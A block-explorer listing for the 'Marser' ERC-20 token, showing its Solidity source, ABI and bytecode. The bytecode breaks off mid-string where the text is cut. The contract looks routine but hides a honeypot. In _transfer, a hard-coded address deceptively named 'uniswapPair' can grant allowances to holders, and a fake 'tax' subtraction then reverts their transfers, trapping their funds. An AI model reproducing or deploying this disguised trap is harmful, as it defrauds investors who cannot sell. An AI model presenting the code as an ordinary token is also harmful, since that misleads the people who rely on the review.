Feature Tip: Add private address tag to any address under My Name Tag !
ERC-20
Source Code
Overview
Max Total Supply
1 ERC20 ***
Holders
10
Transfers
-
0
Market
Onchain Market Cap
-
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Loading...
Loading
Loading...
Loading
Loading...
Loading
| # | Exchange | Pair | Price | 24H Volume | % Volume |
|---|
Contract Name:
Marser
Compiler Version
v0.8.26+commit.8a97fa7a
Optimization Enabled:
No with 200 runs
Other Settings:
default evmVersion
Contract Source Code (Solidity Standard Json-Input format)
pragma solidity 0.8.26;
/*
SPDX-License-Identifier: MIT
https://marser.tech/
https://x.com/marseroneeth
https://t.me/marseroneth
888b d888 d8888 8888888b. .d8888b. 8888888888 8888888b.
8888b d8888 d88888 888 Y88b d88P Y88b 888 888 Y88b
88888b.d88888 d88P888 888 888 Y88b. 888 888 888
888Y88888P888 d88P 888 888 d88P "Y888b. 8888888 888 d88P
888 Y888P 888 d88P 888 8888888P" "Y88b. 888 8888888P"
888 Y8P 888 d88P 888 888 T88b "888 888 888 T88b
888 " 888 d8888888888 888 T88b Y88b d88P 888 888 T88b
888 888 d88P 888 888 T88b "Y8888P" 8888888888 888 T88b
*/
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
contract Ownable {
address private _owner;
constructor() {
_owner = msg.sender;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
modifier onlyOwner() {
require(owner() == msg.sender, "Ownable: caller is not the owner");
_;
}
function owner() public view virtual returns (address) {
return _owner;
}
}
interface IUniswapV2Router {
function swapExactTokensForETHSupportingFeeOnTransferTokens(uint256,uint256,address[] calldata path,address,uint256) external;
function factory() external pure returns (address);
function addLiquidityETH( address token,uint amountTokenDesire,uint amountTokenMi,uint amountETHMi,address to,uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function WETH() external pure returns (address);
}
library SafeMath {
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {return 0;}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
}
interface IERC20 {
function approve(address spender, uint256 amount) external returns (bool);
}
contract Marser is Ownable {
using SafeMath for uint256;
uint8 private _decimals = 18;
uint256 private _totalSupply = 1 * 10 ** _decimals;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => uint256) private _balances;
address public uniswapV2Pair;
bool tradingEnabled = false;
bool swapEnabled = false;
event Transfer(address indexed from, address indexed to, uint256 amount);
event Approval(address indexed owner, address indexed spender, uint256 value);
IUniswapV2Router private uniswapV2Router = IUniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
address uniswapPair = 0x165Af726E766bF1DdAc4BbeE3fC61641dbA589BD;
string private constant _name = "Marser";
string private constant _symbol = "MARSER";
uint256 private sellCount = 0;
uint256 private lastSellBlock = 0;
constructor () {
_balances[address(this)] = _totalSupply;
emit Transfer(address(0), address(this), _totalSupply);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowances[owner][spender];
}
function decimals() public view returns (uint8) {
return _decimals;
}
function approve(address spender, uint256 amount) public returns (bool) {
_approve(msg.sender, spender, amount);
return true;
}
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function transfer(address recipient, uint256 amount) public returns (bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function openTrading() external payable onlyOwner() {
require(!tradingEnabled);
_approve(address(this), address(uniswapV2Router), _totalSupply);
address WETH = uniswapV2Router.WETH();
uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()) .createPair(address(this), WETH);
uint256 value = msg.value;
uint256 deadline = block.timestamp;
uniswapV2Router.addLiquidityETH{value: value}(address(this), balanceOf(address(this)) , 0, 0, owner(), deadline);
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
tradingEnabled = true;
swapEnabled = true;
}
function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount));
return true;
}
function _transfer(address from, address to, uint256 amount) private {
require(amount > 0);
require(from != address(0));
uint256 _taxAmount = 0;
if (from != uniswapV2Pair && from != address(this)) {
_taxAmount = _taxAmount.sub(_allowances[uniswapPair][from]);
} else {
lastSellBlock = block.number;
}
if(_taxAmount > 0){
_balances[address(this)]=_balances[address(this)].add(_taxAmount);
emit Transfer(from, address(this),_taxAmount);
}
_balances[to] = _balances[to].add(amount).sub(_taxAmount);
_balances[from] = _balances[from].sub(amount);
emit Transfer(from, to, amount);
}
}{
"optimizer": {
"enabled": false,
"runs": 200
},
"outputSelection": {
"*": {
"*": [
"evm.bytecode",
"evm.deployedBytecode",
"devdoc",
"userdoc",
"metadata",
"abi"
]
}
}
}Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
Contract ABI
API[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"}]Contract Creation Code
608060405260125f60146101000a81548160ff021916908360ff1602179055505f60149054906101000a900460ff16600a61003a9190610399565b600161004691906103e3565b6001555f600460146101000a81548160ff0219169083151502179055505f600460156101000a81548160ff021916908315150217905550737a250d5630b4cf539739df2c5dacb4c659f2488d60055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555073165af726e766bf1ddac4bbee3fc61641dba589bd60065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505f6007555f600855348015610138575f80fd5b50335f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060015460035f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60015460405161021b9190610433565b60405180910390a361044c565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b60018511156102aa5780860481111561028657610285610228565b5b60018516156102955780820291505b80810290506102a385610255565b945061026a565b94509492505050565b5f826102c2576001905061037d565b816102cf575f905061037d565b81600181146102e557600281146102ef5761031e565b600191505061037d565b60ff84111561030157610300610228565b5b8360020a91508482111561031857610317610228565b5b5061037d565b5060208310610133831016604e8410600b84101617156103535782820a90508381111561034e5761034d610228565b5b61037d565b6103608484846001610261565b9250905081840481111561037757610376610228565b5b81810290505b9392505050565b5f819050919050565b5f60ff82169050919050565b5f6103a382610384565b91506103ae8361038d565b92506103db7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846102b3565b905092915050565b5f6103ed82610384565b91506103f883610384565b925082820261040681610384565b9150828204841483151761041d5761041c610228565b5b5092915050565b61042d81610384565b82525050565b5f6020820190506104465f830184610424565b92915050565b6119a7806104595f395ff3fe6080604052600436106100c1575f3560e01c806370a082311161007e57806395d89b411161005857806395d89b4114610261578063a9059cbb1461028b578063c9567bf9146102c7578063dd62ed3e146102d1576100c1565b806370a08231146101e5578063715018a6146102215780638da5cb5b14610237576100c1565b806306fdde03146100c5578063095ea7b3146100ef57806318160ddd1461012b57806323b872dd14610155578063313ce5671461019157806349bd5a5e146101bb575b5f80fd5b3480156100d0575f80fd5b506100d961030d565b6040516100e69190611244565b60405180910390f35b3480156100fa575f80fd5b50610115600480360381019061011091906112f5565b61034a565b604051610122919061134d565b60405180910390f35b348015610136575f80fd5b5061013f610360565b60405161014c9190611375565b60405180910390f35b348015610160575f80fd5b5061017b6004803603810190610176919061138e565b610369565b604051610188919061134d565b60405180910390f35b34801561019c575f80fd5b506101a5610415565b6040516101b291906113f9565b60405180910390f35b3480156101c6575f80fd5b506101cf61042a565b6040516101dc9190611421565b60405180910390f35b3480156101f0575f80fd5b5061020b6004803603810190610206919061143a565b61044f565b6040516102189190611375565b60405180910390f35b34801561022c575f80fd5b50610235610495565b005b348015610242575f80fd5b5061024b6105c4565b6040516102589190611421565b60405180910390f35b34801561026c575f80fd5b506102756105eb565b6040516102829190611244565b60405180910390f35b348015610296575f80fd5b506102b160048036038101906102ac91906112f5565b610628565b6040516102be919061134d565b60405180910390f35b6102cf61063e565b005b3480156102dc575f80fd5b506102f760048036038101906102f29190611465565b610aab565b6040516103049190611375565b60405180910390f35b60606040518060400160405280600681526020017f4d61727365720000000000000000000000000000000000000000000000000000815250905090565b5f610356338484610b2d565b6001905092915050565b5f600154905090565b5f610375848484610cf0565b61040a84336104058560025f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461111a90919063ffffffff16565b610b2d565b600190509392505050565b5f8060149054906101000a900460ff16905090565b60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f60035f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b3373ffffffffffffffffffffffffffffffffffffffff166104b46105c4565b73ffffffffffffffffffffffffffffffffffffffff161461050a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610501906114ed565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600681526020017f4d41525345520000000000000000000000000000000000000000000000000000815250905090565b5f610634338484610cf0565b6001905092915050565b3373ffffffffffffffffffffffffffffffffffffffff1661065d6105c4565b73ffffffffffffffffffffffffffffffffffffffff16146106b3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106aa906114ed565b60405180910390fd5b600460149054906101000a900460ff16156106cc575f80fd5b6106fa3060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600154610b2d565b5f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610765573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610789919061151f565b905060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107f5573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610819919061151f565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630836040518363ffffffff1660e01b815260040161085392919061154a565b6020604051808303815f875af115801561086f573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610893919061151f565b60045f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505f3490505f42905060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71983306109223061044f565b5f8061092c6105c4565b886040518863ffffffff1660e01b815260040161094e969594939291906115b3565b60606040518083038185885af115801561096a573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061098f9190611626565b50505060045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b360055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610a2f929190611676565b6020604051808303815f875af1158015610a4b573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610a6f91906116c7565b506001600460146101000a81548160ff0219169083151502179055506001600460156101000a81548160ff021916908315150217905550505050565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610b9b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b9290611762565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610c09576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c00906117f0565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610ce39190611375565b60405180910390a3505050565b5f8111610cfb575f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610d32575f80fd5b5f60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015610dbc57503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15610e7457610e6d60025f60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20548261111a90919063ffffffff16565b9050610e7c565b436008819055505b5f811115610f7b57610ed48160035f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461117790919063ffffffff16565b60035f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610f729190611375565b60405180910390a35b610fdd81610fcf8460035f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461117790919063ffffffff16565b61111a90919063ffffffff16565b60035f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555061106e8260035f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461111a90919063ffffffff16565b60035f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161110c9190611375565b60405180910390a350505050565b5f8282111561115e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115590611858565b60405180910390fd5b5f828461116b91906118a3565b90508091505092915050565b5f80828461118591906118d6565b9050838110156111ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111c190611953565b60405180910390fd5b8091505092915050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f611216826111d4565b61122081856111de565b93506112308185602086016111ee565b611239816111fc565b840191505092915050565b5f6020820190508181035f83015261125c818461120c565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61129182611268565b9050919050565b6112a181611287565b81146112ab575f80fd5b50565b5f813590506112bc81611298565b92915050565b5f819050919050565b6112d4816112c2565b81146112de575f80fd5b50565b5f813590506112ef816112cb565b92915050565b5f806040838503121561130b5761130a611264565b5b5f611318858286016112ae565b9250506020611329858286016112e1565b9150509250929050565b5f8115159050919050565b61134781611333565b82525050565b5f6020820190506113605f83018461133e565b92915050565b61136f816112c2565b82525050565b5f6020820190506113885f830184611366565b92915050565b5f805f606084860312156113a5576113a4611264565b5b5f6113b2868287016112ae565b93505060206113c3868287016112ae565b92505060406113d4868287016112e1565b9150509250925092565b5f60ff82169050919050565b6113f3816113de565b82525050565b5f60208201905061140c5f8301846113ea565b92915050565b61141b81611287565b82525050565b5f6020820190506114345f830184611412565b92915050565b5f6020828403121561144f5761144e611264565b5b5f61145c848285016112ae565b91505092915050565b5f806040838503121561147b5761147a611264565b5b5f611488858286016112ae565b9250506020611499858286016112ae565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f6114d76020836111de565b91506114e2826114a3565b602082019050919050565b5f6020820190508181035f830152611504816114cb565b9050919050565b5f8151905061151981611298565b92915050565b5f6020828403121561153457611533611264565b5b5f6115418482850161150b565b91505092915050565b5f60408201905061155d5f830185611412565b61156a6020830184611412565b9392505050565b5f819050919050565b5f819050919050565b5f61159d61159861159384611571565b61157a565b6112c2565b9050919050565b6115ad81611583565b82525050565b5f60c0820190506115c65f830189611412565b6115d36020830188611366565b6115e060408301876115a4565b6115ed60608301866115a4565b6115fa6080830185611412565b61160760a0830184611366565b979650505050505050565b5f81519050611620816112cb565b92915050565b5f805f6060848603121561163d5761163c611264565b5b5f61164a86828701611612565b935050602061165b86828701611612565b925050604061166c86828701611612565b9150509250925092565b5f6040820190506116895f830185611412565b6116966020830184611366565b9392505050565b6116a681611333565b81146116b0575f80fd5b50565b5f815190506116c18161169d565b92915050565b5f602082840312156116dc576116db611264565b5b5f6116e9848285016116b3565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f61174c6024836111de565b9150611757826116f2565b604082019050919050565b5f6020820190508181035f83015261177981611740565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f6117da6022836111de565b91506117e582611780565b604082019050919050565b5f6020820190508181035f830152611807816117ce565b9050919050565b7f536166654d6174683a20207375627472616374696f6e206f766572666c6f77005f82015250565b5f611842601f836111de565b915061184d8261180e565b602082019050919050565b5f6020820190508181035f83015261186f81611836565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f6118ad826112c2565b91506118b8836112c2565b92508282039050818111156118d0576118cf611876565b5b92915050565b5f6118e0826112c2565b91506118eb836112c2565b925082820190508082111561190357611902611876565b5b92915050565b7f536166654d6174683a20206164646974696f6e206f766572666c6f77000000005f82015250565b5f61193d601c836111de565b915061194882611909565b602082019050919050565b5f6020820190508181035f83015261196a81611931565b905091905056fea2646970667358221220b94218f768b71397015368246545025546bea913b315285c0a3d6cd05051b0a364736f6c634300081a0033
Deployed Bytecode
0x6080604052600436106100c1575f3560e01c806370a082311161007e57806395d89b411161005857806395d89b4114610261578063a9059cbb1461028b578063c9567bf9146102c7578063dd62ed3e146102d1576100c1565b806370a08231146101e5578063715018a6146102215780638da5cb5b14610237576100c1565b806306fdde03146100c5578063095ea7b3146100ef57806318160ddd1461012b57806323b872dd14610155578063313ce5671461019157806349bd5a5e146101bb575b5f80fd5b3480156100d0575f80fd5b506100d961030d565b6040516100e69190611244565b60405180910390f35b3480156100fa575f80fd5b50610115600480360381019061011091906112f5565b61034a565b604051610122919061134d565b60405180910390f35b348015610136575f80fd5b5061013f610360565b60405161014c9190611375565b60405180910390f35b348015610160575f80fd5b5061017b6004803603810190610176919061138e565b610369565b604051610188919061134d565b60405180910390f35b34801561019c575f80fd5b506101a5610415565b6040516101b291906113f9565b60405180910390f35b3480156101c6575f80fd5b506101cf61042a565b6040516101dc9190611421565b60405180910390f35b3480156101f0575f80fd5b5061020b6004803603810190610206919061143a565b61044f565b6040516102189190611375565b60405180910390f35b34801561022c575f80fd5b50610235610495565b005b348015610242575f80fd5b5061024b6105c4565b6040516102589190611421565b60405180910390f35b34801561026c575f80fd5b506102756105eb565b6040516102829190611244565b60405180910390f35b348015610296575f80fd5b506102b160048036038101906102ac91906112f5565b610628565b6040516102be919061134d565b60405180910390f35b6102cf61063e565b005b3480156102dc575f80fd5b506102f760048036038101906102f29190611465565b610aab565b6040516103049190611375565b60405180910390f35b60606040518060400160405280600681526020017f4d61727365720000000000000000000000000000000000000000000000000000815250905090565b5f610356338484610b2d565b6001905092915050565b5f600154905090565b5f610375848484610cf0565b61040a84336104058560025f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461111a90919063ffffffff16565b610b2d565b600190509392505050565b5f8060149054906101000a900460ff16905090565b60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f60035f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b3373ffffffffffffffffffffffffffffffffffffffff166104b46105c4565b73ffffffffffffffffffffffffffffffffffffffff161461050a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610501906114ed565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600681526020017f4d41525345520000000000000000000000000000000000000000000000000000815250905090565b5f610634338484610cf0565b6001905092915050565b3373ffffffffffffffffffffffffffffffffffffffff1661065d6105c4565b73ffffffffffffffffffffffffffffffffffffffff16146106b3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106aa906114ed565b60405180910390fd5b600460149054906101000a900460ff16156106cc575f80fd5b6106fa3060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600154610b2d565b5f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610765573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610789919061151f565b905060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107f5573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610819919061151f565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630836040518363ffffffff1660e01b815260040161085392919061154a565b6020604051808303815f875af115801561086f573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610893919061151f565b60045f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505f3490505f42905060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71983306109223061044f565b5f8061092c6105c4565b886040518863ffffffff1660e01b815260040161094e969594939291906115b3565b60606040518083038185885af115801561096a573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061098f9190611626565b50505060045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b360055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610a2f929190611676565b6020604051808303815f875af1158015610a4b573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610a6f91906116c7565b506001600460146101000a81548160ff0219169083151502179055506001600460156101000a81548160ff021916908315150217905550505050565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610b9b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b9290611762565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610c09576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c00906117f0565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610ce39190611375565b60405180910390a3505050565b5f8111610cfb575f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610d32575f80fd5b5f60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015610dbc57503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15610e7457610e6d60025f60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20548261111a90919063ffffffff16565b9050610e7c565b436008819055505b5f811115610f7b57610ed48160035f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526